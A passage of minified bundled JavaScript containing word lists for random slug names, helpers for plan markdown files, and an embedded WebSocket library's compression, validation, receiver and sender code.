"agile","async","atomic","binary","cached","compiled","composed","compressed","concurrent","cryptic","curried","declarative","delegated","distributed","dynamic","eager","elegant","encapsulated","enumerated","eventual","expressive","federated","functional","generic","greedy","hashed","idempotent","immutable","imperative","indexed","inherited","iterative","lazy","lexical","linear","linked","logical","memoized","modular","mutable","nested","optimized","parallel","parsed","partitioned","piped","polymorphic","pure","reactive","recursive","refactored","reflective","replicated","resilient","robust","scalable","sequential","serialized","sharded","sorted","staged","stateful","stateless","streamed","structured","synchronous","synthetic","temporal","transient","typed","unified","validated","vectorized","virtual"],L37=["aurora","avalanche","blossom","breeze","brook","bubble","canyon","cascade","cloud","clover","comet","coral","cosmos","creek","crescent","crystal","dawn","dewdrop","dusk","eclipse","ember","feather","fern","firefly","flame","flurry","fog","forest","frost","galaxy","garden","glacier","glade","grove","harbor","horizon","island","lagoon","lake","leaf","lightning","meadow","meteor","mist","moon","moonbeam","mountain","nebula","nova","ocean","orbit","pebble","petal","pine","planet","pond","puddle","quasar","rain","rainbow","reef","ripple","river","shore","sky","snowflake","spark","spring","star","stardust","starlight","storm","stream","summit","sun","sunbeam","sunrise","sunset","thunder","tide","twilight","valley","volcano","waterfall","wave","willow","wind","alpaca","axolotl","badger","bear","beaver","bee","bird","bumblebee","bunny","cat","chipmunk","crab","crane","deer","dolphin","dove","dragon","dragonfly","duckling","eagle","elephant","falcon","finch","flamingo","fox","frog","giraffe","goose","hamster","hare","hedgehog","hippo","hummingbird","jellyfish","kitten","koala","ladybug","lark","lemur","llama","lobster","lynx","manatee","meerkat","moth","narwhal","newt","octopus","otter","owl","panda","parrot","peacock","pelican","penguin","phoenix","piglet","platypus","pony","porcupine","puffin","puppy","quail","quokka","rabbit","raccoon","raven","robin","salamander","seahorse","seal","sloth","snail","sparrow","sphinx","squid","squirrel","starfish","swan","tiger","toucan","turtle","unicorn","walrus","whale","wolf","wombat","wren","yeti","zebra","acorn","anchor","balloon","beacon","biscuit","blanket","bonbon","book","boot","cake","candle","candy","castle","charm","clock","cocoa","cookie","crayon","crown","cupcake","donut","dream","fairy","fiddle","flask","flute","fountain","gadget","gem","gizmo","globe","goblet","hammock","harp","haven","hearth","honey","journal","kazoo","kettle","key","kite","lantern","lemon","lighthouse","locket","lollipop","mango","map","marble","marshmallow","melody","mitten","mochi","muffin","music","nest","noodle","oasis","origami","pancake","parasol","peach","pearl","pebble","pie","pillow","pinwheel","pixel","pizza","plum","popcorn","pretzel","prism","pudding","pumpkin","puzzle","quiche","quill","quilt","riddle","rocket","rose","scone","scroll","shell","sketch","snowglobe","sonnet","sparkle","spindle","sprout","sundae","swing","taco","teacup","teapot","thimble","toast","token","tome","tower","treasure","treehouse","trinket","truffle","tulip","umbrella","waffle","wand","whisper","whistle","widget","wreath","zephyr","abelson","adleman","aho","allen","babbage","bachman","backus","barto","bengio","bentley","blum","boole","brooks","catmull","cerf","cherny","church","clarke","cocke","codd","conway","cook","corbato","cray","curry","dahl","diffie","dijkstra","dongarra","eich","emerson","engelbart","feigenbaum","floyd","gosling","graham","gray","hamming","hanrahan","hartmanis","hejlsberg","hellman","hennessy","hickey","hinton","hoare","hollerith","hopcroft","hopper","iverson","kahan","kahn","karp","kay","kernighan","knuth","kurzweil","lamport","lampson","lecun","lerdorf","liskov","lovelace","matsumoto","mccarthy","metcalfe","micali","milner","minsky","moler","moore","naur","neumann","newell","nygaard","papert","parnas","pascal","patterson","pearl","perlis","pike","pnueli","rabin","reddy","ritchie","rivest","rossum","russell","scott","sedgewick","shamir","shannon","sifakis","simon","stallman","stearns","steele","stonebraker","stroustrup","sutherland","sutton","tarjan","thacker","thompson","torvalds","turing","ullman","valiant","wadler","wall","wigderson","wilkes","wilkinson","wirth","wozniak","yao"],R37=["baking","beaming","booping","bouncing","brewing","bubbling","chasing","churning","coalescing","conjuring","cooking","crafting","crunching","cuddling","dancing","dazzling","discovering","doodling","dreaming","drifting","enchanting","exploring","finding","floating","fluttering","foraging","forging","frolicking","gathering","giggling","gliding","greeting","growing","hatching","herding","honking","hopping","hugging","humming","imagining","inventing","jingling","juggling","jumping","kindling","knitting","launching","leaping","mapping","marinating","meandering","mixing","moseying","munching","napping","nibbling","noodling","orbiting","painting","percolating","petting","plotting","pondering","popping","prancing","purring","puzzling","questing","riding","roaming","rolling","sauteeing","scribbling","seeking","shimmying","singing","skipping","sleeping","snacking","sniffing","snuggling","soaring","sparking","spinning","splashing","sprouting","squishing","stargazing","stirring","strolling","swimming","swinging","tickling","tinkering","toasting","tumbling","twirling","waddling","wandering","watching","weaving","whistling","wibbling","wiggling","wishing","wobbling","wondering","yawning","zooming"];irw=C37.length*R37.length*L37.length});import{join as hGA,resolve as YwY,sep as zwY}from"path";function QxA(A){let K=A??d1(),q=WzA(),Y=q.get(K);if(!Y){let z=tZ();for(let w=0;w<wwY;w++){Y=FxA();let H=hGA(z,`${Y}.md`);if(!BA().existsSync(H))break}q.set(K,Y)}return Y}function KG6(A,K){WzA().set(A,K)}function y37(A){let K=A??d1();WzA().delete(K)}function tZ(){let K=yq().plansDirectory,q;if(K){let Y=x1(),z=YwY(Y,K);if(!z.startsWith(Y+zwY)&&z!==Y)KA(Error(`plansDirectory must be within project root: ${K}`)),q=hGA(w8(),"plans");else q=z}else q=hGA(w8(),"plans");if(!BA().existsSync(q))try{BA().mkdirSync(q)}catch(Y){KA(Y instanceof Error?Y:Error(String(Y)))}return q}function uM(A){let K=QxA(d1());if(!A)return hGA(tZ(),`${K}.md`);return hGA(tZ(),`${K}-agent-${A}.md`)}function fG(A){let K=uM(A);if(!BA().existsSync(K))return null;try{return BA().readFileSync(K,{encoding:"utf-8"})}catch(q){return KA(q instanceof Error?q:Error(String(q))),null}}function MO1(A,K){let q=A.messages.find((w)=>w.slug)?.slug;if(!q)return!1;let Y=K??d1();KG6(Y,q);let z=hGA(tZ(),`${q}.md`);return BA().existsSync(z)}var wwY=10;var NG=k(()=>{q6();e6();l6();C1();AG6();y4();I8()});var eU=v((Yow,h37)=>{var I37=["nodebuffer","arraybuffer","fragments"],S37=typeof Blob<"u";if(S37)I37.push("blob");h37.exports={BINARY_TYPES:I37,EMPTY_BUFFER:Buffer.alloc(0),GUID:"258EAFA5-E914-47DA-95CA-C5AB0DC85B11",hasBlob:S37,kForOnEventAttribute:Symbol("kIsForOnEventAttribute"),kListener:Symbol("kListener"),kStatusCode:Symbol("status-code"),kWebSocket:Symbol("websocket"),NOOP:()=>{}}});var UxA=v((zow,PO1)=>{var{EMPTY_BUFFER:HwY}=eU(),qG6=Buffer[Symbol.species];function JwY(A,K){if(A.length===0)return HwY;if(A.length===1)return A[0];let q=Buffer.allocUnsafe(K),Y=0;for(let z=0;z<A.length;z++){let w=A[z];q.set(w,Y),Y+=w.length}if(Y<K)return new qG6(q.buffer,q.byteOffset,Y);return q}function b37(A,K,q,Y,z){for(let w=0;w<z;w++)q[Y+w]=A[w]^K[w&3]}function x37(A,K){for(let q=0;q<A.length;q++)A[q]^=K[q&3]}function OwY(A){if(A.length===A.buffer.byteLength)return A.buffer;return A.buffer.slice(A.byteOffset,A.byteOffset+A.length)}function YG6(A){if(YG6.readOnly=!0,Buffer.isBuffer(A))return A;let K;if(A instanceof ArrayBuffer)K=new qG6(A);else if(ArrayBuffer.isView(A))K=new qG6(A.buffer,A.byteOffset,A.byteLength);else K=Buffer.from(A),YG6.readOnly=!1;return K}PO1.exports={concat:JwY,mask:b37,toArrayBuffer:OwY,toBuffer:YG6,unmask:x37};if(!process.env.WS_NO_BUFFER_UTIL)try{let A=(()=>{throw new Error("Cannot require module "+"bufferutil");})();PO1.exports.mask=function(K,q,Y,z,w){if(w<48)b37(K,q,Y,z,w);else A.mask(K,q,Y,z,w)},PO1.exports.unmask=function(K,q){if(K.length<32)x37(K,q);else A.unmask(K,q)}}catch(A){}});var g37=v((wow,m37)=>{var u37=Symbol("kDone"),zG6=Symbol("kRun");class B37{constructor(A){this[u37]=()=>{this.pending--,this[zG6]()},this.concurrency=A||1/0,this.jobs=[],this.pending=0}add(A){this.jobs.push(A),this[zG6]()}[zG6](){if(this.pending===this.concurrency)return;if(this.jobs.length){let A=this.jobs.shift();this.pending++,A(this[u37])}}}m37.exports=B37});var dxA=v((How,d37)=>{var pxA=CA("zlib"),F37=UxA(),XwY=g37(),{kStatusCode:Q37}=eU(),$wY=Buffer[Symbol.species],_wY=Buffer.from([0,0,255,255]),fO1=Symbol("permessage-deflate"),Ap=Symbol("total-length"),bGA=Symbol("callback"),Ka=Symbol("buffers"),xGA=Symbol("error"),VO1;class U37{constructor(A,K,q){if(this._maxPayload=q|0,this._options=A||{},this._threshold=this._options.threshold!==void 0?this._options.threshold:1024,this._isServer=!!K,this._deflate=null,this._inflate=null,this.params=null,!VO1){let Y=this._options.concurrencyLimit!==void 0?this._options.concurrencyLimit:10;VO1=new XwY(Y)}}static get extensionName(){return"permessage-deflate"}offer(){let A={};if(this._options.serverNoContextTakeover)A.server_no_context_takeover=!0;if(this._options.clientNoContextTakeover)A.client_no_context_takeover=!0;if(this._options.serverMaxWindowBits)A.server_max_window_bits=this._options.serverMaxWindowBits;if(this._options.clientMaxWindowBits)A.client_max_window_bits=this._options.clientMaxWindowBits;else if(this._options.clientMaxWindowBits==null)A.client_max_window_bits=!0;return A}accept(A){return A=this.normalizeParams(A),this.params=this._isServer?this.acceptAsServer(A):this.acceptAsClient(A),this.params}cleanup(){if(this._inflate)this._inflate.close(),this._inflate=null;if(this._deflate){let A=this._deflate[bGA];if(this._deflate.close(),this._deflate=null,A)A(Error("The deflate stream was closed while data was being processed"))}}acceptAsServer(A){let K=this._options,q=A.find((Y)=>{if(K.serverNoContextTakeover===!1&&Y.server_no_context_takeover||Y.server_max_window_bits&&(K.serverMaxWindowBits===!1||typeof K.serverMaxWindowBits==="number"&&K.serverMaxWindowBits>Y.server_max_window_bits)||typeof K.clientMaxWindowBits==="number"&&!Y.client_max_window_bits)return!1;return!0});if(!q)throw Error("None of the extension offers can be accepted");if(K.serverNoContextTakeover)q.server_no_context_takeover=!0;if(K.clientNoContextTakeover)q.client_no_context_takeover=!0;if(typeof K.serverMaxWindowBits==="number")q.server_max_window_bits=K.serverMaxWindowBits;if(typeof K.clientMaxWindowBits==="number")q.client_max_window_bits=K.clientMaxWindowBits;else if(q.client_max_window_bits===!0||K.clientMaxWindowBits===!1)delete q.client_max_window_bits;return q}acceptAsClient(A){let K=A[0];if(this._options.clientNoContextTakeover===!1&&K.client_no_context_takeover)throw Error('Unexpected parameter "client_no_context_takeover"');if(!K.client_max_window_bits){if(typeof this._options.clientMaxWindowBits==="number")K.client_max_window_bits=this._options.clientMaxWindowBits}else if(this._options.clientMaxWindowBits===!1||typeof this._options.clientMaxWindowBits==="number"&&K.client_max_window_bits>this._options.clientMaxWindowBits)throw Error('Unexpected or invalid parameter "client_max_window_bits"');return K}normalizeParams(A){return A.forEach((K)=>{Object.keys(K).forEach((q)=>{let Y=K[q];if(Y.length>1)throw Error(`Parameter "${q}" must have only a single value`);if(Y=Y[0],q==="client_max_window_bits"){if(Y!==!0){let z=+Y;if(!Number.isInteger(z)||z<8||z>15)throw TypeError(`Invalid value for parameter "${q}": ${Y}`);Y=z}else if(!this._isServer)throw TypeError(`Invalid value for parameter "${q}": ${Y}`)}else if(q==="server_max_window_bits"){let z=+Y;if(!Number.isInteger(z)||z<8||z>15)throw TypeError(`Invalid value for parameter "${q}": ${Y}`);Y=z}else if(q==="client_no_context_takeover"||q==="server_no_context_takeover"){if(Y!==!0)throw TypeError(`Invalid value for parameter "${q}": ${Y}`)}else throw Error(`Unknown parameter "${q}"`);K[q]=Y})}),A}decompress(A,K,q){VO1.add((Y)=>{this._decompress(A,K,(z,w)=>{Y(),q(z,w)})})}compress(A,K,q){VO1.add((Y)=>{this._compress(A,K,(z,w)=>{Y(),q(z,w)})})}_decompress(A,K,q){let Y=this._isServer?"client":"server";if(!this._inflate){let z=`${Y}_max_window_bits`,w=typeof this.params[z]!=="number"?pxA.Z_DEFAULT_WINDOWBITS:this.params[z];this._inflate=pxA.createInflateRaw({...this._options.zlibInflateOptions,windowBits:w}),this._inflate[fO1]=this,this._inflate[Ap]=0,this._inflate[Ka]=[],this._inflate.on("error",ZwY),this._inflate.on("data",p37)}if(this._inflate[bGA]=q,this._inflate.write(A),K)this._inflate.write(_wY);this._inflate.flush(()=>{let z=this._inflate[xGA];if(z){this._inflate.close(),this._inflate=null,q(z);return}let w=F37.concat(this._inflate[Ka],this._inflate[Ap]);if(this._inflate._readableState.endEmitted)this._inflate.close(),this._inflate=null;else if(this._inflate[Ap]=0,this._inflate[Ka]=[],K&&this.params[`${Y}_no_context_takeover`])this._inflate.reset();q(null,w)})}_compress(A,K,q){let Y=this._isServer?"server":"client";if(!this._deflate){let z=`${Y}_max_window_bits`,w=typeof this.params[z]!=="number"?pxA.Z_DEFAULT_WINDOWBITS:this.params[z];this._deflate=pxA.createDeflateRaw({...this._options.zlibDeflateOptions,windowBits:w}),this._deflate[Ap]=0,this._deflate[Ka]=[],this._deflate.on("data",GwY)}this._deflate[bGA]=q,this._deflate.write(A),this._deflate.flush(pxA.Z_SYNC_FLUSH,()=>{if(!this._deflate)return;let z=F37.concat(this._deflate[Ka],this._deflate[Ap]);if(K)z=new $wY(z.buffer,z.byteOffset,z.length-4);if(this._deflate[bGA]=null,this._deflate[Ap]=0,this._deflate[Ka]=[],K&&this.params[`${Y}_no_context_takeover`])this._deflate.reset();q(null,z)})}}d37.exports=U37;function GwY(A){this[Ka].push(A),this[Ap]+=A.length}function p37(A){if(this[Ap]+=A.length,this[fO1]._maxPayload<1||this[Ap]<=this[fO1]._maxPayload){this[Ka].push(A);return}this[xGA]=RangeError("Max payload size exceeded"),this[xGA].code="WS_ERR_UNSUPPORTED_MESSAGE_LENGTH",this[xGA][Q37]=1009,this.removeListener("data",p37),this.reset()}function ZwY(A){if(this[fO1]._inflate=null,this[xGA]){this[bGA](this[xGA]);return}A[Q37]=1007,this[bGA](A)}});var uGA=v((Jow,NO1)=>{var{isUtf8:c37}=CA("buffer"),{hasBlob:WwY}=eU(),DwY=[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,0,0,1,1,0,1,1,0,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,0,1,0];function jwY(A){return A>=1000&&A<=1014&&A!==1004&&A!==1005&&A!==1006||A>=3000&&A<=4999}function wG6(A){let K=A.length,q=0;while(q<K)if((A[q]&128)===0)q++;else if((A[q]&224)===192){if(q+1===K||(A[q+1]&192)!==128||(A[q]&254)===192)return!1;q+=2}else if((A[q]&240)===224){if(q+2>=K||(A[q+1]&192)!==128||(A[q+2]&192)!==128||A[q]===224&&(A[q+1]&224)===128||A[q]===237&&(A[q+1]&224)===160)return!1;q+=3}else if((A[q]&248)===240){if(q+3>=K||(A[q+1]&192)!==128||(A[q+2]&192)!==128||(A[q+3]&192)!==128||A[q]===240&&(A[q+1]&240)===128||A[q]===244&&A[q+1]>143||A[q]>244)return!1;q+=4}else return!1;return!0}function MwY(A){return WwY&&typeof A==="object"&&typeof A.arrayBuffer==="function"&&typeof A.type==="string"&&typeof A.stream==="function"&&(A[Symbol.toStringTag]==="Blob"||A[Symbol.toStringTag]==="File")}NO1.exports={isBlob:MwY,isValidStatusCode:jwY,isValidUTF8:wG6,tokenChars:DwY};if(c37)NO1.exports.isValidUTF8=function(A){return A.length<24?wG6(A):c37(A)};else if(!process.env.WS_NO_UTF_8_VALIDATE)try{let A=(()=>{throw new Error("Cannot require module "+"utf-8-validate");})();NO1.exports.isValidUTF8=function(K){return K.length<32?wG6(K):A(K)}}catch(A){}});var JG6=v((Oow,o37)=>{var{Writable:PwY}=CA("stream"),l37=dxA(),{BINARY_TYPES:VwY,EMPTY_BUFFER:i37,kStatusCode:fwY,kWebSocket:NwY}=eU(),{concat:HG6,toArrayBuffer:TwY,unmask:vwY}=UxA(),{isValidStatusCode:EwY,isValidUTF8:n37}=uGA(),TO1=Buffer[Symbol.species];class r37 extends PwY{constructor(A={}){super();this._allowSynchronousEvents=A.allowSynchronousEvents!==void 0?A.allowSynchronousEvents:!0,this._binaryType=A.binaryType||VwY[0],this._extensions=A.extensions||{},this._isServer=!!A.isServer,this._maxPayload=A.maxPayload|0,this._skipUTF8Validation=!!A.skipUTF8Validation,this[NwY]=void 0,this._bufferedBytes=0,this._buffers=[],this._compressed=!1,this._payloadLength=0,this._mask=void 0,this._fragmented=0,this._masked=!1,this._fin=!1,this._opcode=0,this._totalPayloadLength=0,this._messageLength=0,this._fragments=[],this._errored=!1,this._loop=!1,this._state=0}_write(A,K,q){if(this._opcode===8&&this._state==0)return q();this._bufferedBytes+=A.length,this._buffers.push(A),this.startLoop(q)}consume(A){if(this._bufferedBytes-=A,A===this._buffers[0].length)return this._buffers.shift();if(A<this._buffers[0].length){let q=this._buffers[0];return this._buffers[0]=new TO1(q.buffer,q.byteOffset+A,q.length-A),new TO1(q.buffer,q.byteOffset,A)}let K=Buffer.allocUnsafe(A);do{let q=this._buffers[0],Y=K.length-A;if(A>=q.length)K.set(this._buffers.shift(),Y);else K.set(new Uint8Array(q.buffer,q.byteOffset,A),Y),this._buffers[0]=new TO1(q.buffer,q.byteOffset+A,q.length-A);A-=q.length}while(A>0);return K}startLoop(A){this._loop=!0;do switch(this._state){case 0:this.getInfo(A);break;case 1:this.getPayloadLength16(A);break;case 2:this.getPayloadLength64(A);break;case 3:this.getMask();break;case 4:this.getData(A);break;case 5:case 6:this._loop=!1;return}while(this._loop);if(!this._errored)A()}getInfo(A){if(this._bufferedBytes<2){this._loop=!1;return}let K=this.consume(2);if((K[0]&48)!==0){let Y=this.createError(RangeError,"RSV2 and RSV3 must be clear",!0,1002,"WS_ERR_UNEXPECTED_RSV_2_3");A(Y);return}let q=(K[0]&64)===64;if(q&&!this._extensions[l37.extensionName]){let Y=this.createError(RangeError,"RSV1 must be clear",!0,1002,"WS_ERR_UNEXPECTED_RSV_1");A(Y);return}if(this._fin=(K[0]&128)===128,this._opcode=K[0]&15,this._payloadLength=K[1]&127,this._opcode===0){if(q){let Y=this.createError(RangeError,"RSV1 must be clear",!0,1002,"WS_ERR_UNEXPECTED_RSV_1");A(Y);return}if(!this._fragmented){let Y=this.createError(RangeError,"invalid opcode 0",!0,1002,"WS_ERR_INVALID_OPCODE");A(Y);return}this._opcode=this._fragmented}else if(this._opcode===1||this._opcode===2){if(this._fragmented){let Y=this.createError(RangeError,`invalid opcode ${this._opcode}`,!0,1002,"WS_ERR_INVALID_OPCODE");A(Y);return}this._compressed=q}else if(this._opcode>7&&this._opcode<11){if(!this._fin){let Y=this.createError(RangeError,"FIN must be set",!0,1002,"WS_ERR_EXPECTED_FIN");A(Y);return}if(q){let Y=this.createError(RangeError,"RSV1 must be clear",!0,1002,"WS_ERR_UNEXPECTED_RSV_1");A(Y);return}if(this._payloadLength>125||this._opcode===8&&this._payloadLength===1){let Y=this.createError(RangeError,`invalid payload length ${this._payloadLength}`,!0,1002,"WS_ERR_INVALID_CONTROL_PAYLOAD_LENGTH");A(Y);return}}else{let Y=this.createError(RangeError,`invalid opcode ${this._opcode}`,!0,1002,"WS_ERR_INVALID_OPCODE");A(Y);return}if(!this._fin&&!this._fragmented)this._fragmented=this._opcode;if(this._masked=(K[1]&128)===128,this._isServer){if(!this._masked){let Y=this.createError(RangeError,"MASK must be set",!0,1002,"WS_ERR_EXPECTED_MASK");A(Y);return}}else if(this._masked){let Y=this.createError(RangeError,"MASK must be clear",!0,1002,"WS_ERR_UNEXPECTED_MASK");A(Y);return}if(this._payloadLength===126)this._state=1;else if(this._payloadLength===127)this._state=2;else this.haveLength(A)}getPayloadLength16(A){if(this._bufferedBytes<2){this._loop=!1;return}this._payloadLength=this.consume(2).readUInt16BE(0),this.haveLength(A)}getPayloadLength64(A){if(this._bufferedBytes<8){this._loop=!1;return}let K=this.consume(8),q=K.readUInt32BE(0);if(q>Math.pow(2,21)-1){let Y=this.createError(RangeError,"Unsupported WebSocket frame: payload length > 2^53 - 1",!1,1009,"WS_ERR_UNSUPPORTED_DATA_PAYLOAD_LENGTH");A(Y);return}this._payloadLength=q*Math.pow(2,32)+K.readUInt32BE(4),this.haveLength(A)}haveLength(A){if(this._payloadLength&&this._opcode<8){if(this._totalPayloadLength+=this._payloadLength,this._totalPayloadLength>this._maxPayload&&this._maxPayload>0){let K=this.createError(RangeError,"Max payload size exceeded",!1,1009,"WS_ERR_UNSUPPORTED_MESSAGE_LENGTH");A(K);return}}if(this._masked)this._state=3;else this._state=4}getMask(){if(this._bufferedBytes<4){this._loop=!1;return}this._mask=this.consume(4),this._state=4}getData(A){let K=i37;if(this._payloadLength){if(this._bufferedBytes<this._payloadLength){this._loop=!1;return}if(K=this.consume(this._payloadLength),this._masked&&(this._mask[0]|this._mask[1]|this._mask[2]|this._mask[3])!==0)vwY(K,this._mask)}if(this._opcode>7){this.controlMessage(K,A);return}if(this._compressed){this._state=5,this.decompress(K,A);return}if(K.length)this._messageLength=this._totalPayloadLength,this._fragments.push(K);this.dataMessage(A)}decompress(A,K){this._extensions[l37.extensionName].decompress(A,this._fin,(Y,z)=>{if(Y)return K(Y);if(z.length){if(this._messageLength+=z.length,this._messageLength>this._maxPayload&&this._maxPayload>0){let w=this.createError(RangeError,"Max payload size exceeded",!1,1009,"WS_ERR_UNSUPPORTED_MESSAGE_LENGTH");K(w);return}this._fragments.push(z)}if(this.dataMessage(K),this._state===0)this.startLoop(K)})}dataMessage(A){if(!this._fin){this._state=0;return}let K=this._messageLength,q=this._fragments;if(this._totalPayloadLength=0,this._messageLength=0,this._fragmented=0,this._fragments=[],this._opcode===2){let Y;if(this._binaryType==="nodebuffer")Y=HG6(q,K);else if(this._binaryType==="arraybuffer")Y=TwY(HG6(q,K));else if(this._binaryType==="blob")Y=new Blob(q);else Y=q;if(this._allowSynchronousEvents)this.emit("message",Y,!0),this._state=0;else this._state=6,setImmediate(()=>{this.emit("message",Y,!0),this._state=0,this.startLoop(A)})}else{let Y=HG6(q,K);if(!this._skipUTF8Validation&&!n37(Y)){let z=this.createError(Error,"invalid UTF-8 sequence",!0,1007,"WS_ERR_INVALID_UTF8");A(z);return}if(this._state===5||this._allowSynchronousEvents)this.emit("message",Y,!1),this._state=0;else this._state=6,setImmediate(()=>{this.emit("message",Y,!1),this._state=0,this.startLoop(A)})}}controlMessage(A,K){if(this._opcode===8){if(A.length===0)this._loop=!1,this.emit("conclude",1005,i37),this.end();else{let q=A.readUInt16BE(0);if(!EwY(q)){let z=this.createError(RangeError,`invalid status code ${q}`,!0,1002,"WS_ERR_INVALID_CLOSE_CODE");K(z);return}let Y=new TO1(A.buffer,A.byteOffset+2,A.length-2);if(!this._skipUTF8Validation&&!n37(Y)){let z=this.createError(Error,"invalid UTF-8 sequence",!0,1007,"WS_ERR_INVALID_UTF8");K(z);return}this._loop=!1,this.emit("conclude",q,Y),this.end()}this._state=0;return}if(this._allowSynchronousEvents)this.emit(this._opcode===9?"ping":"pong",A),this._state=0;else this._state=6,setImmediate(()=>{this.emit(this._opcode===9?"ping":"pong",A),this._state=0,this.startLoop(K)})}createError(A,K,q,Y,z){this._loop=!1,this._errored=!0;let w=new A(q?`Invalid WebSocket frame: ${K}`:K);return Error.captureStackTrace(w,this.createError),w.code=z,w[fwY]=Y,w}}o37.exports=r37});var XG6=v(($ow,t37)=>{var{Duplex:Xow}=CA("stream"),{randomFillSync:kwY}=CA("crypto"),a37=dxA(),{EMPTY_BUFFER:CwY,kWebSocket:LwY,NOOP:RwY}=eU(),{isBlob:BGA,isValidStatusCode:ywY}=uGA(),{mask:s37,toBuffer:tKA}=UxA(),CC=Symbol("kByteLength"),IwY=Buffer.alloc(4),eKA,mGA=8192,PI=0,SwY=1,hwY=2;class qa{constructor(A,K,q){if(this._extensions=K||{},q)this._generateMask=q,this._maskBuffer=Buffer.alloc(4);this._socket=A,this._firstFragment=!0,this._compress=!1,this._bufferedBytes=0,this._queue=[],this._state=PI,this.onerror=RwY,this[LwY]=void 0}static frame(A,K){let q,Y=!1,z=2,w=!1;if(K.mask){if(q=K.maskBuffer||IwY,K.generateMask)K.generateMask(q);else{if(mGA===8192){if(eKA===void 0)eKA=Buffer.alloc(8192);kwY(eKA,0,8192),mGA=0}q[0]=eKA[mGA++],q[1]=eKA[mGA++],q[2]=eKA[mGA++],q[3]=eKA[mGA++]}w=(q[0]|q[1]|q[2]|q[3])===0,z=6}let H;if(typeof A==="string")if((!K.mask||w)&&K[CC]!==void 0)H=K[CC];else A=Buffer.from(A),H=A.length;else H=A.length,Y=K.mask&&K.readOnly&&!w;let J=H;if(H>=65536)z+=8,J=127;else if(H>125)z+=2,J=126;let O=Buffer.allocUnsafe(Y?H+z:z);if(O[0]=K.fin?K.opcode|128:K.opcode,K.rsv1)O[0]|=64;if(O[1]=J,J===126)O.writeUInt16BE(H,2);else if(J===127)O[2]=O[3]=0,O.writeUIntBE(H,4,6);if(!K.mask)return[O,A];if(O[1]|=128,O[z-4]=q[0],O[z-3]=q[1],O[z-2]=q[2],O[z-1]=q[3],w)return[O,A];if(Y)return s37(A,q,O,z,H),[O];return s37(A,q,A,0,H),[O,A]}close(A,K,q,Y){let z;if(A===void 0)z=CwY;else if(typeof A!=="number"||!ywY(A))throw TypeError("First argument must be a valid error code number");else if(K===void 0||!K.length)z=Buffer.allocUnsafe(2),z.writeUInt16BE(A,0);else{let H=Buffer.byteLength(K);if(H>123)throw RangeError("The message must not be greater than 123 bytes");if(z=Buffer.allocUnsafe(2+H),z.writeUInt16BE(A,0),typeof K==="string")z.write(K,2);else z.set(K,2)}let w={[CC]:z.length,fin:!0,generateMask:this._generateMask,mask:q,maskBuffer:this._maskBuffer,opcode:8,readOnly:!1,rsv1:!1};if(this._state!==PI)this.enqueue([this.dispatch,z,!1,w,Y]);else this.sendFrame(qa.frame(z,w),Y)}ping(A,K,q){let Y,z;if(typeof A==="string")Y=Buffer.byteLength(A),z=!1;else if(BGA(A))Y=A.size,z=!1;else A=tKA(A),Y=A.length,z=tKA.readOnly;if(Y>125)throw RangeError("The data size must not be greater than 125 bytes");let w={[CC]:Y,fin:!0,generateMask:this._generateMask,mask:K,maskBuffer:this._maskBuffer,opcode:9,readOnly:z,rsv1:!1};if(BGA(A))if(this._state!==PI)this.enqueue([this.getBlobData,A,!1,w,q]);else this.getBlobData(A,!1,w,q);else if(this._state!==PI)this.enqueue([this.dispatch,A,!1,w,q]);else this.sendFrame(qa.frame(A,w),q)}pong(A,K,q){let Y,z;if(typeof A==="string")Y=Buffer.byteLength(A),z=!1;else if(BGA(A))Y=A.size,z=!1;else A=tKA(A),Y=A.length,z=tKA.readOnly;if(Y>125)throw RangeError("The data size must not be greater than 125 bytes");let w={[CC]:Y,fin:!0,generateMask:this._generateMask,mask:K,maskBuffer:this._maskBuffer,opcode:10,readOnly:z,rsv1:!1};if(BGA(A))if(this._state!==PI)this.enqueue([this.getBlobData,A,!1,w,q]);else this.getBlobData(A,!1,w,q);else if(this._state!==PI)this.enqueue([this.dispatch,A,!1,w,q]);else this.sendFrame(qa.frame(A,w),q)}send(A,K,q){let Y=this._extensions[a37.extensionName],z=K.binary?2:1,w=K.compress,H,J;if(typeof A==="string")H=Buffer.byteLength(A),J=!1;else if(BGA(A))H=A.size,J=!1;else A=tKA(A),H=A.length,J=tKA.readOnly;if(this._firstFragment){if(this._firstFragment=!1,w&&Y&&Y.params[Y._isServer?"server_no_context_takeover":"client_no_context_takeover"])w=H>=Y._threshold;this._compress=w}else w=!1,z=0;if(K.fin)this._firstFragment=!0;let O={[CC]:H,fin:K.fin,generateMask:this._generateMask,mask:K.mask,maskBuffer:this._maskBuffer,opcode:z,readOnly:J,rsv1:w};if(BGA(A))if(this._state!==PI)this.enqueue([this.getBlobData,A,this._compress,O,q]);else this.getBlobData(A,this._compress,O,q);else if(this._state!==PI)this.enqueue([this.dispatch,A,this._compress,O,q]);else this.dispatch(A,this._compress,O,q)}getBlobData(A,K,q,Y){this._bufferedBytes+=q[CC],this._state=hwY,A.arrayBuffer().then((z)=>{if(this._socket.destroyed){let H=Error("The socket was closed while the blob was being read");process.nextTick(OG6,this,H,Y);return}this._bufferedBytes-=q[CC];let w=tKA(z);if(!K)this._state=PI,this.sendFrame(qa.frame(w,q),Y),this.dequeue();else this.dispatch(w,K,q,Y)}).catch((z)=>{process.nextTick(bwY,this,z,Y)})}dispatch(A,K,q,Y){if(!K){this.sendFrame(qa.frame(A,q),Y);return}let z=this._extensions[a37.extensionName];this._bufferedBytes+=q[CC],this._state=SwY,z.compress(A,q.fin,(w,H)=>{if(this._socket.destroyed){let J=Error("The socket was closed while data was being compressed");OG6(this,J,Y);return}this._bufferedBytes-=q[CC],this._state=PI,q.readOnly=!1,this.sendFrame(qa.frame(H,q),Y),this.dequeue()})}dequeue(){while(this._state===PI&&this._queue.length){let A=this._queue.shift();this._bufferedBytes-=A[3][CC],Reflect.apply(A[0],this,A.slice(1))}}enqueue(A){this._bufferedBytes+=A[3][CC],this._queue.push(A)}sendFrame(A,K){if(A.length===2)this._socket.cork(),this._socket.write(A[0]),this._socket.write(A[1],K),this._socket.uncork();else this._socket.write(A[0],K)}}t37.exports=qa;function OG6(A,K,q){if(typeof q==="function")q(K);for(let Y=0;Y<A._queue.length;Y++){let z=A._queue[Y],w=z[z.length-1];if(typeof w==="function")w(K)}}function 